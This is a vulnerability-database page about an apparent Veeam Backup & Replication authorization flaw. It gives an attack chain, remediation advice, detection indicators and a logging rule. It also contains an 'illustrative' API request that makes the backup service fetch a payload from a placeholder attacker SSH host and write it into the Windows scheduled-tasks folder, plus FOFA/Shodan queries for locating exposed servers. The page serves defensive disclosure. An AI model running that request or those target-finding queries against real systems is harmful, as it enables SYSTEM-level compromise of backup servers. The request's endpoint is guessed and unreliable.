CVE Professor
/
All CVEs
CVE-2026-87904

CVE-2026-87904 — Veeam Backup And Replication — CWE-862

CRITICAL CVSS 9.4 Shodan

A missing authorization check in the SSH file transfer interface of Veeam Backup & Replication allows an authenticated user with the Backup Operator role to make the backup service connect over SSH to an attacker-chosen host using a stored credential and write the retrieved file to an arbitrary path on the backup server. Because the write is performed by the backup service running as LocalSystem, this can be leveraged to execute arbitrary code as SYSTEM.

A missing authorization check in the SSH file transfer interface of Veeam Backup & Replication allows an authenticated user with the Backup Operator role to make the backup service connect over SSH to an attacker-chosen host using a stored credential and write the retrieved file to an arbitrary path on the backup server. Because the write is performed by the backup service running as LocalSystem, this can be leveraged to execute arbitrary code as SYSTEM.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. High PR:H
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Missing Authorization Check (CWE-862) within the SSH file transfer functionality of Veeam Backup & Replication (VBR).

The Technical Flaw:
The VBR management interface allows users with the Backup Operator role to initiate SSH-based file transfers. While the system correctly authenticates the user (PR:H in CVSS vector), it fails to perform a secondary authorization check on the destination or source parameters of the SSH transfer request.

Specifically:
1. Privilege Separation Failure: The Backup Operator role is intended to manage backup jobs, not to execute arbitrary system-level file operations. However, the SSH transfer endpoint does not verify if the requested operation is within the scope of the Backup Operator's permissions.
2. Arbitrary File Write as SYSTEM: The SSH transfer service runs as LocalSystem (the highest privilege account on Windows). When an authenticated Backup Operator triggers an SSH transfer, the service connects to an attacker-controlled SSH server, retrieves a file, and writes it to a user-specified arbitrary path on the backup server.
3. No Path Validation: There is no validation to ensure the write path is restricted to a safe directory (e.g., a specific backup repository folder). This allows the attacker to write files to critical system locations (e.g., C:\Windows\System32\, C:\ProgramData\, or scheduled task directories).

CVSS 4.0 Vector Analysis:

  • AV:N/AC:L/AT:N/PR:H: Network-accessible, low complexity, no user interaction, but requires High Privileges (Backup Operator).

  • VC:H/VI:H/VA:H: High impact on Confidentiality, Integrity, and Availability of the Primary system (the backup server).

  • SC:H/SI:H/SA:H: High impact on the Subsequent system (if the backup server is used to restore to other systems, or if the attacker pivots).

  • Score 9.4 (Critical): Despite requiring authentication, the ability to achieve Remote Code Execution (RCE) as SYSTEM on a critical infrastructure component (backup server) makes this a critical threat.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Target Identification: The attacker identifies a Veeam Backup & Replication server (typically running on Windows Server) within the network.
  • Credential Acquisition: The attacker obtains valid credentials for a user with the Backup Operator role. This could be achieved via:
  • * Phishing or credential stuffing. * Compromising a lower-privilege account and escalating to Backup Operator (if possible). * Using stolen credentials from a previous breach.
  • Version Verification: The attacker confirms the VBR version is vulnerable (likely pre-patch versions affected by this CVE).
  • 2. Exploitation

    The attacker uses the VBR Web Console (or API) to initiate an SSH file transfer.

    Step 2a: Set up Attacker SSH Server
    The attacker sets up a malicious SSH server on their infrastructure that serves a malicious file (e.g., a PowerShell script, a binary, or a scheduled task XML).

    Step 2b: Trigger the Vulnerable SSH Transfer
    The attacker logs into the VBR Web Console as a Backup Operator. They navigate to the file transfer or backup job configuration area that supports SSH sources/destinations.

    Note: The exact UI path or API endpoint is not specified in the CVE description. The following is an illustrative example of the underlying mechanism.

    Illustrative PoC (Conceptual):
    The attacker crafts a request to the VBR API or uses the UI to specify:

  • Source: ssh://attacker_ip:22/malicious_file.ps1

  • Destination: C:\Windows\System32\Tasks\malicious_task.xml (or a path that triggers execution, e.g., a startup folder or a location monitored by a service).
  • Example API Call (Illustrative - Syntax may vary by VBR version):

    POST /api/v1/ssh-transfers HTTP/1.1
    Host: veeam-server.local
    Authorization: Bearer <valid_backup_operator_token>
    Content-Type: application/json
    
    {
      "source": "ssh://attacker_ip:22/malicious_payload.ps1",
      "destination": "C:\\Windows\\System32\\Tasks\\malicious_task.xml",
      "credentials": "stored_ssh_credential_id"
    }

    Note: The credentials field refers to a stored SSH key or password that the VBR service uses to connect to the SSH server. The attacker controls the SSH server, so they can serve any file.

    Step 2c: File Write
    The VBR service (running as LocalSystem) connects to the attacker's SSH server, downloads malicious_payload.ps1, and writes it to C:\Windows\System32\Tasks\malicious_task.xml.

    3. Post-Exploitation

  • Code Execution:
  • * If the file is a Scheduled Task XML (malicious_task.xml), it will be executed by the Task Scheduler as SYSTEM at the next scheduled run or immediately if configured. * If the file is placed in a Startup Folder or a location monitored by a service, it may be executed upon reboot or service restart. * Alternatively, the attacker could write a malicious DLL to a path that is loaded by a VBR service (DLL hijacking).
  • Persistence: The attacker establishes persistence via the scheduled task or by modifying system services.
  • Lateral Movement: With SYSTEM access on the backup server, the attacker can:
  • * Access all backup data (confidentiality breach). * Restore malicious backups to production systems (integrity breach). * Pivot to other systems using credentials stored in VBR or accessible from the backup server. * Disable or delete backups (availability breach).

    🌍 Real World Impact

  • Confidentiality (High): The attacker gains SYSTEM access to the backup server, allowing them to read all backup data, which may contain sensitive information from multiple systems.
  • Integrity (High): The attacker can modify or delete backup files, corrupting the backup repository. They can also restore malicious backups to production systems, compromising those systems.
  • Availability (High): The attacker can delete backups, disable the backup service, or crash the server, leading to loss of backup capabilities and potential data loss.
  • Practical Consequences:
  • * Ransomware: Attackers can use this to encrypt or delete backups, ensuring that victims cannot restore their data. * Data Exfiltration: Sensitive data stored in backups can be exfiltrated. * Supply Chain Attack: Malicious code can be introduced into production systems via restored backups.

    🛡️ Remediation & Mitigation

    1. Patching

  • Action: Apply the latest security patch for Veeam Backup & Replication released by Veeam to address CVE-2026-87904.
  • Priority: Critical. Given the CVSS score of 9.4 and the ability to achieve RCE as SYSTEM, this should be patched immediately.
  • 2. Workarounds (If Patching is Delayed)

  • Restrict Backup Operator Role:
  • * Review all users with the Backup Operator role. Remove any users who do not strictly require this role. * Consider using a more restrictive role if available, or limit the scope of the Backup Operator role to specific backup jobs that do not involve SSH transfers.
  • Disable SSH File Transfer:
  • * If SSH-based file transfers are not required, disable this feature in the VBR configuration. * Check VBR documentation for how to disable SSH transfer capabilities globally or per job.
  • Network Segmentation:
  • * Ensure the VBR server is in a segmented network zone with strict egress filtering. * Block outbound SSH (TCP/22) traffic from the VBR server to untrusted networks. This prevents the VBR service from connecting to attacker-controlled SSH servers. * Use a proxy or firewall rule to allow SSH only to known, trusted backup repositories.

    3. Detection (IoCs)

  • VBR Logs:
  • * Look for SSH transfer operations initiated by Backup Operator accounts. * Monitor for SSH connections to unusual or external IP addresses. * Check for file writes to sensitive directories (e.g., C:\Windows\System32\Tasks\, C:\ProgramData\, C:\Users\Public\) by the VBR service account (LocalSystem).
  • Windows Event Logs:
  • * Event ID 4697: A service was installed by a user (if a new service is created). * Event ID 4698: A scheduled task was created (if a scheduled task is written). * Event ID 4624: Logon events for the VBR service account (LocalSystem) with unusual activity. * Event ID 4688: Process creation events for suspicious processes (e.g., powershell.exe, cmd.exe) spawned by the VBR service.
  • Network Traffic:
  • * Monitor for outbound SSH connections from the VBR server to non-internal IP addresses. * Look for large data transfers over SSH that may indicate data exfiltration.

    4. WAF/ModSecurity Rules

  • Note: A WAF is not effective against this vulnerability because it is an authenticated, internal API/UI action, not a web-based injection. However, you can monitor for suspicious API calls.
  • ModSecurity Rule (Example):
  • SecRule REQUEST_URI "@contains /ssh-transfers" \
            "id:100001,phase:1,log,auditlog,msg:'Potential SSH Transfer Attempt',severity:2"

    This rule only logs the attempt. It does not block it, as legitimate SSH transfers may be used. It helps in detecting unauthorized attempts.

    ⚠️ Urgency

  • CVSS Score: 9.4 (Critical)
  • CISA KEV: No (Not currently listed, but this does not reduce urgency)
  • Exploit Complexity: Low (requires valid Backup Operator credentials, but no further user interaction or complex payload crafting)
  • Patching Priority: Immediate (Critical)
* This vulnerability allows for Remote Code Execution as SYSTEM on a critical infrastructure component. * The backup server is a high-value target for ransomware and data exfiltration. * Attackers with valid Backup Operator credentials can easily exploit this. * Recommendation: Patch all VBR servers within 24-48 hours. If patching is not immediately possible, implement the network segmentation and role restriction workarounds immediately.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Veeam Backup and Replication"
CVSS Score
9.4 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Veeam:Backup and Replication
References & Advisories (1)
Related CVEs
9.5
CVE-2026-108144
A vulnerability in Veeam Backup & Replication allows an unauthenticated remote attacker to obtain Backup Admin
9.4
CVE-2026-108145
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Operator role to ex
9.4
CVE-2026-93025
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Viewer role to enum
9.4
CVE-2026-93027
A vulnerability in Veeam Backup & Replication allows an authenticated user with the Backup Viewer role to caus
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-126098
Missing authorization in the API token REST endpoint GET /api/v1/apitoken/{tokenId}/jwt in dotCMS through 26.1